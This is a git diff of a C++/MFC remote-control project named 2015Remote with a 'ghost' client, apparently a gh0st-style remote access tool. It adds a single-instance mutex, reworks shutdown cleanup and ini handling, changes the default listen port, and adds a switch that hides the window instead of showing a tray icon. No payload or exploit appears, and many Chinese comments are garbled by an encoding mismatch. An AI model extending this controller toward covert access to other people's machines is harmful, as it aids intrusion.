diff --git a/ReadMe.txt b/ReadMe.txt index 026fc6c..a2780a2 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -67,3 +67,7 @@ 3、打开注册表关闭后崩溃,参照按对文件管理窗口的修改进行处理。遗留问题: 并无内存泄漏,但退出时报"HEAP: Free Heap modified after it was freed"问题。 + +4、退出时睡眠一会,等待服务端清理,发现这样可以避免退出时崩溃的概率。 + +5、发布稍微稳定的版本V1.0.0.1。 diff --git a/client/ClientDll.vcxproj b/client/ClientDll.vcxproj index d5409e6..d448fc9 100644 --- a/client/ClientDll.vcxproj +++ b/client/ClientDll.vcxproj @@ -48,6 +48,8 @@ ./;%(AdditionalIncludeDirectories) MultiThreadedDebug ZLIB_WINAPI;%(PreprocessorDefinitions) + true + false true @@ -64,6 +66,7 @@ MultiThreaded ./;%(AdditionalIncludeDirectories) ZLIB_WINAPI;%(PreprocessorDefinitions) + true true diff --git a/client/TestRun.vcxproj b/client/TestRun.vcxproj index 4566b06..77a060e 100644 --- a/client/TestRun.vcxproj +++ b/client/TestRun.vcxproj @@ -44,6 +44,8 @@ Level3 Disabled MultiThreadedDebug + true + false true @@ -56,6 +58,7 @@ true true MultiThreaded + true true diff --git a/client/ghost.vcxproj b/client/ghost.vcxproj index 9c352b8..d460b78 100644 --- a/client/ghost.vcxproj +++ b/client/ghost.vcxproj @@ -53,6 +53,8 @@ ./;%(AdditionalIncludeDirectories) MultiThreadedDebug _CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions) + true + false true @@ -69,6 +71,7 @@ MultiThreaded ./;%(AdditionalIncludeDirectories) _CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions) + true true diff --git a/server/2015Remote/2015Remote.cpp b/server/2015Remote/2015Remote.cpp index d95b39d..dd68fac 100644 --- a/server/2015Remote/2015Remote.cpp +++ b/server/2015Remote/2015Remote.cpp @@ -63,6 +63,7 @@ CMy2015RemoteApp::CMy2015RemoteApp() // TODO: ڴ˴ӹ룬 // Ҫijʼ InitInstance + m_Mutex = NULL; } @@ -75,6 +76,14 @@ CMy2015RemoteApp theApp; BOOL CMy2015RemoteApp::InitInstance() { + m_Mutex = CreateMutex(NULL, FALSE, "YAMA.EXE"); + if (ERROR_ALREADY_EXISTS == GetLastError()) + { + CloseHandle(m_Mutex); + m_Mutex = NULL; + return FALSE; + } + SetUnhandledExceptionFilter(&whenbuged); // һ Windows XP ϵӦó嵥ָҪ @@ -128,3 +137,15 @@ BOOL CMy2015RemoteApp::InitInstance() // ӦóϢá return FALSE; } + + +int CMy2015RemoteApp::ExitInstance() +{ + if (m_Mutex) + { + CloseHandle(m_Mutex); + m_Mutex = NULL; + } + + return CWinApp::ExitInstance(); +} diff --git a/server/2015Remote/2015Remote.h b/server/2015Remote/2015Remote.h index f9b23c9..3d80e20 100644 --- a/server/2015Remote/2015Remote.h +++ b/server/2015Remote/2015Remote.h @@ -20,6 +20,7 @@ class CMy2015RemoteApp : public CWinApp public: CMy2015RemoteApp(); iniFile m_iniFile; + HANDLE m_Mutex; // д public: virtual BOOL InitInstance(); @@ -27,6 +28,7 @@ class CMy2015RemoteApp : public CWinApp // ʵ DECLARE_MESSAGE_MAP() + virtual int ExitInstance(); }; extern CMy2015RemoteApp theApp; \ No newline at end of file diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 5a4c953..8e97818 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015Remote.vcxproj b/server/2015Remote/2015Remote.vcxproj index f195400..f96ea2b 100644 --- a/server/2015Remote/2015Remote.vcxproj +++ b/server/2015Remote/2015Remote.vcxproj @@ -54,6 +54,8 @@ Level3 Disabled WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions) + true + false Windows @@ -76,10 +78,12 @@ Level3 Use - MaxSpeed + MinSpace true - true WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions) + true + Size + true Windows diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 5313383..262a33c 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -129,27 +129,6 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent /*=NULL*/) CMy2015RemoteDlg::~CMy2015RemoteDlg() { - Sleep(200); - EnterCriticalSection(&m_cs); - for (std::vector::iterator iter = v_FileDlg.begin(); - iter != v_FileDlg.end(); ++iter) - { - CFileManagerDlg *cur = *iter; - ::SendMessage(cur->GetSafeHwnd(), WM_CLOSE, 0, 0); - while (false == cur->m_bIsClosed) - Sleep(1); - delete cur; - } - for (std::vector::iterator iter = v_RegDlg.begin(); - iter != v_RegDlg.end(); ++iter) - { - CRegisterDlg *cur = *iter; - ::SendMessage(cur->GetSafeHwnd(), WM_CLOSE, 0, 0); - while (false == cur->m_bIsClosed) - Sleep(1); - delete cur; - } - LeaveCriticalSection(&m_cs); DeleteCriticalSection(&m_cs); } @@ -262,6 +241,7 @@ VOID CMy2015RemoteDlg::CreatStatusBar() VOID CMy2015RemoteDlg::CreateNotifyBar() { +#if SHOW_NOTIFY m_Nid.cbSize = sizeof(NOTIFYICONDATA); //Сֵ m_Nid.hWnd = m_hWnd; // DZڸCWnd m_Nid.uID = IDR_MAINFRAME; //icon ID @@ -271,6 +251,7 @@ VOID CMy2015RemoteDlg::CreateNotifyBar() CString strTips =": ԶЭ"; //ʾ lstrcpyn(m_Nid.szTip, (LPCSTR)strTips, sizeof(m_Nid.szTip) / sizeof(m_Nid.szTip[0])); Shell_NotifyIcon(NIM_ADD, &m_Nid); //ʾ +#endif } VOID CMy2015RemoteDlg::CreateToolBar() @@ -438,6 +419,10 @@ BOOL CMy2015RemoteDlg::OnInitDialog() ListenPort(); +#if !SHOW_NOTIFY + ShowWindow(SW_SHOW); +#endif + return TRUE; // ǽõؼ򷵻 TRUE } @@ -448,6 +433,12 @@ void CMy2015RemoteDlg::OnSysCommand(UINT nID, LPARAM lParam) CAboutDlg dlgAbout; dlgAbout.DoModal(); } +#if !SHOW_NOTIFY + else if(nID == SC_CLOSE || nID == SC_MINIMIZE) + { + ShowWindow(SW_HIDE); + } +#endif else { CDialogEx::OnSysCommand(nID, lParam); @@ -596,8 +587,34 @@ void CMy2015RemoteDlg::OnClose() // TODO: ڴϢ/Ĭֵ KillTimer(0); +#if SHOW_NOTIFY Shell_NotifyIcon(NIM_DELETE, &m_Nid); +#endif + + EnterCriticalSection(&m_cs); + for (std::vector::iterator iter = v_FileDlg.begin(); + iter != v_FileDlg.end(); ++iter) + { + CFileManagerDlg *cur = *iter; + ::SendMessage(cur->GetSafeHwnd(), WM_CLOSE, 0, 0); + while (false == cur->m_bIsClosed) + Sleep(1); + delete cur; + } + for (std::vector::iterator iter = v_RegDlg.begin(); + iter != v_RegDlg.end(); ++iter) + { + CRegisterDlg *cur = *iter; + ::SendMessage(cur->GetSafeHwnd(), WM_CLOSE, 0, 0); + while (false == cur->m_bIsClosed) + Sleep(1); + delete cur; + } + LeaveCriticalSection(&m_cs); + //Sleepܱⲻ˳ʱıIOCPҪظЩ + ShowWindow(SW_HIDE); + Sleep(500); if (m_iocpServer!=NULL) { @@ -788,13 +805,13 @@ void CMy2015RemoteDlg::OnMainExit() VOID CMy2015RemoteDlg::ListenPort() { - int nPort = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("Settings", "ListenPort"); + int nPort = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost"); //ȡini ļеļ˿ - int nMaxConnection = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("Settings", "MaxConnection"); + int nMaxConnection = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "MaxConnection"); //ȡ - if (nPort == 0) - nPort = 2356; - if (nMaxConnection == 0) + if (nPort<=0 || nPort>65535) + nPort = 6543; + if (nMaxConnection <= 0) nMaxConnection = 10000; Activate(nPort,nMaxConnection); //ʼ } diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 36bb445..2b470e2 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -7,6 +7,13 @@ #include "TrueColorToolBar.h" #include "IOCPServer.h" +////////////////////////////////////////////////////////////////////////// +// Ϊʹ +// Ƿʾ +#define SHOW_NOTIFY 1 + +////////////////////////////////////////////////////////////////////////// + typedef struct _LOGIN_INFOR { BYTE bToken; // = 1 //½Ϣ @@ -63,7 +70,9 @@ class CMy2015RemoteDlg : public CDialogEx CStatusBar m_StatusBar; //״̬ CTrueColorToolBar m_ToolBar; +#if SHOW_NOTIFY NOTIFYICONDATA m_Nid; +#endif CRITICAL_SECTION m_cs; UINT m_iCount; diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index 221cc98..68ad481 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -26,11 +26,11 @@ IOCPServer::IOCPServer(void) m_hListenEvent = WSA_INVALID_EVENT; m_hListenThread = INVALID_HANDLE_VALUE; - m_ulMaxConnections = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("Settings", "MaxConnection"); + m_ulMaxConnections = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "MaxConnection"); - if (m_ulMaxConnections==0) + if (m_ulMaxConnections<=0) { - m_ulMaxConnections = 100; + m_ulMaxConnections = 10000; } InitializeCriticalSection(&m_cs); diff --git a/server/2015Remote/SettingDlg.cpp b/server/2015Remote/SettingDlg.cpp index 89e6f9a..baecf11 100644 --- a/server/2015Remote/SettingDlg.cpp +++ b/server/2015Remote/SettingDlg.cpp @@ -44,12 +44,12 @@ BOOL CSettingDlg::OnInitDialog() { CDialog::OnInitDialog(); - int nPort = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("Settings", "ListenPort"); + int nPort = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost"); //ȡini ļеļ˿ - int nMaxConnection = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("Settings", "MaxConnection"); + int nMaxConnection = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "MaxConnection"); - m_nListenPort = nPort; - m_nMax_Connect = nMaxConnection; + m_nListenPort = (nPort<=0 || nPort>65535) ? 6543 : nPort; + m_nMax_Connect = nMaxConnection<=0 ? 10000 : nMaxConnection; UpdateData(FALSE); @@ -60,9 +60,9 @@ BOOL CSettingDlg::OnInitDialog() void CSettingDlg::OnBnClickedButtonSettingapply() { UpdateData(TRUE); - ((CMy2015RemoteApp *)AfxGetApp())->m_iniFile.SetInt("Settings", "ListenPort", m_nListenPort); + ((CMy2015RemoteApp *)AfxGetApp())->m_iniFile.SetInt("settings", "ghost", m_nListenPort); //iniļдֵ - ((CMy2015RemoteApp *)AfxGetApp())->m_iniFile.SetInt("Settings", "MaxConnection", m_nMax_Connect); + ((CMy2015RemoteApp *)AfxGetApp())->m_iniFile.SetInt("settings", "MaxConnection", m_nMax_Connect); m_ApplyButton.EnableWindow(FALSE); m_ApplyButton.ShowWindow(SW_HIDE); diff --git a/server/2015Remote/iniFile.cpp b/server/2015Remote/iniFile.cpp index 799c6d7..7bede45 100644 --- a/server/2015Remote/iniFile.cpp +++ b/server/2015Remote/iniFile.cpp @@ -8,53 +8,26 @@ iniFile::iniFile(void) BOOL iniFile::ContructIniFile() { - char szFilePath[MAX_PATH] = {0}; - char* FindPoint = NULL; - + char szFilePath[MAX_PATH] = {0}, *p = szFilePath; ::GetModuleFileName(NULL, szFilePath, sizeof(szFilePath)); + while (*p) ++p; + while ('\\' != *p) --p; + strcpy(p+1, "settings.ini"); - FindPoint = strrchr(szFilePath,'.'); - if (FindPoint!=NULL) - { - *FindPoint = '\0'; - strcat(szFilePath,".ini"); - } - - m_IniFilePath = szFilePath; //ֵļ 鿴 һԱ IniFileName - - HANDLE hFile = CreateFileA(m_IniFilePath,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); //ͬ 첽 - - if (hFile==INVALID_HANDLE_VALUE) - { - return FALSE; - } - - ULONG ulLow = GetFileSize(hFile,NULL); - - if (ulLow>0) - { - CloseHandle(hFile); - - return FALSE; - } - - CloseHandle(hFile); - - WritePrivateProfileString("Settings", "ListenPort","2356",m_IniFilePath); - WritePrivateProfileString("Settings", "MaxConnection","10000",m_IniFilePath); + m_IniFilePath = szFilePath; return TRUE; } -int iniFile::GetInt(CString MainKey,CString SubKey) //"Setting" "ListenPort" +int iniFile::GetInt(CString MainKey,CString SubKey) { return ::GetPrivateProfileInt(MainKey, SubKey,0,m_IniFilePath); } -BOOL iniFile::SetInt(CString MainKey,CString SubKey,int Data)//8888 +BOOL iniFile::SetInt(CString MainKey,CString SubKey,int Data) { CString strData; - strData.Format("%d", Data); //2356 + strData.Format("%d", Data); return ::WritePrivateProfileString(MainKey, SubKey,strData,m_IniFilePath); } diff --git a/server/2015Remote/iniFile.h b/server/2015Remote/iniFile.h index 7219fc3..9a08354 100644 --- a/server/2015Remote/iniFile.h +++ b/server/2015Remote/iniFile.h @@ -3,9 +3,9 @@ class iniFile { public: - BOOL iniFile::ContructIniFile(); - int iniFile::GetInt(CString MainKey,CString SubKey); - BOOL iniFile::SetInt(CString MainKey,CString SubKey,int Data); + BOOL ContructIniFile(); + int GetInt(CString MainKey,CString SubKey); + BOOL SetInt(CString MainKey,CString SubKey,int Data); CString m_IniFilePath; iniFile(void); ~iniFile(void); diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index 475b74a..5a828ba 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -13,6 +13,9 @@ #define VC_EXTRALEAN // Windows ͷųʹõ #endif +// ƳԻMFCؼ֧֣С̬ĴС +#define _AFX_NO_MFC_CONTROLS_IN_DIALOGS + // ڴй©谲װVLDעʹ #include "vld.h"